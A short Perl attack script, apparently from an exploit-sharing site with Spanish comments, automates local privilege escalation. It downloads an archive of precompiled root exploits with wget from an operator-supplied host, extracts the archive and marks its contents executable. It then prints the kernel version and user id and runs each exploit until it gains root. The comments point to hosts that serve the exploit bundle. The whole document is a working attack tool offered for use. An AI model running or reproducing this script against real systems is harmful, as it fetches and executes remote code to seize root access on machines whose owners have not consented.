[ #RemoteExecution AutoFind RootExploit ]

#!/usr/bin/perl
#Code By: Daniel Godoy AKA hielasangre
#RootExploits Compilados: http://localroot.th3-0utl4ws.com/
#RootExploits Compilados: http://www.mediafire.com/?0m104ljazc6tcob
#Bajarlos y subirlo a un host de preferencia y donde dice $URL completarlo segun corresponda.
#Greetz: CaldenTech Staff & Sunplace.
system('clear');
$dir = "rootexploits/";
$url = "http://www.example.com/";
system('wget '.$url.'rootexploits.tar.gz');
system('tar -xvzf rootexploits.tar.gz');
system('chmod +x -R '.$dir);
print "[ #RemoteExecution AutoFind RootExploit ]\n \n";
print "Kernel: ";
system('uname -a');
print "\n \nID: ";
system('id');
print "\n \n";
opendir(DIR, "$dir");
@FILES = readdir(DIR);
foreach $file (@FILES)
        {
                if ($< != 0)
                        {
                        if($file !="." || $file !="..")
                                {
                                system($dir.$file);
                                print "Exploit Failed :( => ".$file." \n\n";
                                }
                        }
                        else
                                {
                                print "\n[!] Exploit Success! :D => ".$file."\n";
                                exit 1;
                                }
        }
closedir(DIR);